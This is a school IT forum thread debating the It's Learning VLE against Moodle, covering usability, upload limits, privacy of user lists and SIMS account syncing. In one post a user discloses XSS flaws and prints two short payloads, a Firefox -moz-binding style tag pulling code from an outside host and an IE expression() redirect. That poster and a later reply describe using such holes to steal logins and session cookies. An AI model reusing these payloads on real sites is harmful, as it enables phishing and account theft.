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Virtual Learning Platforms Thread, It's Learning VLE in Technical; We are locked in to our regional broadband provider. It's Learning is on the same JANET backbone, so I don't ...
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    We are locked in to our regional broadband provider. It's Learning is on the same JANET backbone, so I don't see a problem. Last night our school suffered one of many power cuts - because our VLE is externally hosted we could carry on working from home.

    How well is your VLE used in your school? I can categorically say that It's Learning is used very widely indeed in my school and users like it because nothing they need to do involves a technician. It is all teacher driven and very intuitive.

    IME techies hate solutions which move them from centre stage, hence the popularity amongst techies of Moodle.

    Maybe you could post some of your issues with It's Learning - it could be that your expectations of a VLE are too high or that it is not implemented very well. To dismiss It's Learning as 'crap' beggars belief. It is effectively driving our school forward so I would be devastated to learn that it is of no worth.

    I know plenty of schools using Moodle but none have done as much with it as we have with It's Learning.

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    Okay I'm sorry for calling it crap. Here are however some of the problems i face with It's Learning (ITSL):
    • Security holes, like this one: XSS hole. It is a security hole that you can post a link to a site which executes the code you ask it to execute. This is called an XSS hole.
    • My school is a unification of all kinds of schools, but driven by the same entity. So even if my school only has 300 students I can still contact the other 2700 other students. ITSL even provides me with a list of names. It is also possible to send messages to all these users. Here is the user list which anyone who can log in to my school have access too: user list. I see this as a security/privacy issue. I can see the list even if I'm not an administrator!
    • The Java upload does not work with files over ~30 MB. This has been a problem for a very long time.
    • Files over 200 MB can not be uploaded, for no apparent reason.
    • You can redirect Firefox 2 users with an exploit which has not been fixed yet. This is also a XSS hole. Here is the code:
      HTML Code:
      <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
      I see this as a bug in ITSL, because they should encode and protect users from redirecting. For example I could post a forum post on ITSL where this code is included. I could then redirect people to a false login page and steal their credentials. I have tried it and I know it works. Another exploit which works on IE6 and IE7 is
      HTML Code:
      <style>li {list-style-image: expression(top.document.location=unescape('<insert_evil_url>'))}</STYLE><UL><LI>XSS</LI>
    • You often get the generic server ASP.NET error, for no apparent reason. Error handling on ITSL is poor in general, but it is very frustrating when it comes up randomly.
    • Errors are very easily triggered, and the reason for the error is not explained. For example, lets call this script without parameters: http://www.itslearning.com/rss.aspx. On other corporate professional websites you would expect some kind of error page which would explain what the user should do and that the error has been reported. However on ITSL you just get a generic error page which Microsoft provided.
    • Layout is based on frames which are known to be a evil remnant of the 90's in web design. A page with frames does not scale very well, and it is difficult to change the contents of another frame. However, this is needed all the time, so ITSL will reload the whole frame container and the frames inside. But ITSL has to remember the course you were visiting, so this information is stored in sessions. This make the URL's short, but not uniform. This is against the whole purpose of URL's. They are supposed to be "Uniform resource locators". However, on ITSL you cannot provide a link to a page deep inside ITSL. If users are not logged in they will be redirected to the login page and when they are logged in they will not be forwarded. So they have to copy the link again and try visiting again. However this will probably not work either, because they have copied the URL of the frame container, and the receiver will therefore get a generic page instead. This could be a URL like "https://www.itslearning.com/main.aspx?StartUrl=main/mainmenu.aspx". It does not describe what page the user has navigated to inside the frames.
    • Old fashioned UI. For example when copying a couple of files on must first select them on a list. Then choose copy from a SELECT-box at the bottom of the page (no, i don't know how they could possibly choose a selectbox for that). The page reloads. Now they must choose the course to copy to in a new selectbox that has appeared. The page reloads again. Now the user must choose a directory in the course he wants to copy the files to. A button has appeared which says "OK" and the user must click that button. Now the files have been copied... I think this procedure speaks for itself; it is much too complicated.

  3. Thanks to ysangkok from:

    Sam_Brown (8th December 2009)

  4. #18
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    Quote Originally Posted by ysangkok View Post
    Okay I'm sorry for calling it crap. Here are however some of the problems i face with It's Learning (ITSL):
    • Security holes, like this one: XSS hole. It is a security hole that you can post a link to a site which executes the code you ask it to execute. This is called an XSS hole.
    • The Java upload does not work with files over ~30 MB. This has been a problem for a very long time.
    • Files over 200 MB can not be uploaded, for no apparent reason.
    • Old fashioned UI. For example when copying a couple of files on must first select them on a list. Then choose copy from a SELECT-box at the bottom of the page (no, i don't know how they could possibly choose a selectbox for that). The page reloads. Now they must choose the course to copy to in a new selectbox that has appeared. The page reloads again. Now the user must choose a directory in the course he wants to copy the files to. A button has appeared which says "OK" and the user must click that button. Now the files have been copied... I think this procedure speaks for itself; it is much too complicated.
    Our VLE (not going to name it right now) trumps most of these problems. Currently each person only has an allocation of 30MB so there's no chance of uploading anything bigger via Java or standard form-based upload.

    As for security holes, these things are seemingly all (except Moodle, natch) chock-full of insecure coding - a testament to how chucked-together they are. In our case, the wysiwyg editor in html mode allows you to insert arbitrary javascript which they even treat as a selling point ("look at all these cool widgets you can copy into your page").

    You can also put your own code into event handling on objects, e.g. include an IMG that doesn't exist and put code into the onerror attribute which then runs. This can be used to pick up the user's login cookie and send it to a 3rd party site. All that is required for it to run is that the visitor views your page. If the guy who made the myspace worm got his hands on the site it would be blown away in minutes.

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    Quote Originally Posted by ysangkok View Post
    Okay I'm sorry for calling it crap. Here are however some of the problems i face with It's Learning (ITSL):
    Thanks, ysangkok. It's Learning is based on Microsoft Sharepoint, so I would expect there to be any number of security holes. We block access to all secure websites by default so that goes someway to helping with some of the issues you raised.

    The upload limit has been raised to (off the top of my head) 1GB. I raised the issue with It's Learning and it wasn't long before it was resolved. They are very good at listening to problems and doing something about them.

    We have limited students to sending a single message to a maximum number of 35 pupils - easily configurable. As site admin the user profiles are very configurable and new profiles can be created easily.

    I do take on board what you say, but as an educator rather than a techie I am more interested in the pedagogy of a VLE. From what I have seen and heard, our VLE is used more than that in almost any other school I know of. I have a friend in a nearby school who is also an ICT Coordinator. She does not even have a working VLE at all because she is seeing all the negatives and few of the positives. I am sure this time next year things will have changed little in her school. There might be security holes and other issues with It's Learning but I am sure you are aware this is the case with almost any software out there.

    At lunch the other day overheard a year 7 pupil say to his mate 'I don't know what I'd do without the VLE - it would seem really strange without it'.

    I made sure pupils were on board before anyone else - there are many pupils blogging, loads creating their own mini-projects with friends and other peers, some doing surveys (like the pupils running my ICT club to find out what other pupils think about the club); others contributing to teacher created courses, pupils handing in work to be assessed through an assignment, it's all going on.

    Technically perfect it may not be, but IMHO it is pedagogically sound.
    Last edited by scgf; 20th December 2008 at 01:25 PM.

  6. #20
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    Quote Originally Posted by snrweb View Post
    Hi sorry to hijack the thread but how does 'its learning' create usernames and passwords. Does it sync with the local AD, SIMS or do you have to feed it CSVs and re-set passwords.

    Any experience much appreciated.
    In theory yes - but in practice lots of problems

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    It's Learning is auto-updated from SIMS so when a user joins the school and is added to SIMS they appear in It's Learning. Likewise, when the user has a 'date of leaving' flag set in SIMS the user is deleted from It's Learning. It doesn't interact with AD at all.

    Problems occur when SIMS is not set up correctly. We have several primary schools in our It's Learning cluster and some have not set up SIMS Pastoral to correctly reflect a vertically-grouped system because they haven't needed to before. It's Learning is therefore unable to allocate pupils to the correct yeargroup and classes until this has been done.

    My school is the lead school in the cluster. We are a high school, 10-14, and any new pupils appear in It's Learning, correctly assigned to all their correct teaching groups, year group and tutor group. Since we have adopted a specific username convention to match that we use in AD, we then need to change the default username created by the SIMS/VLE integration process to one that matches our preferred style. That can be done in bulk in a synchronisation process using a csv, or manually if only a few users need to be amended. At the same time, a password can be allocated in the csv. For new pupils who arrive during the year, It's learning can generate a secure password and a welcome message can be printed for the end user to use in order to log on.

    We are finding the system is pretty flawless. We have nearly 800 pupils and the work involved in updating default usernames and passwords is pretty simple compared to what we'd have to do to manage something like Moodle!

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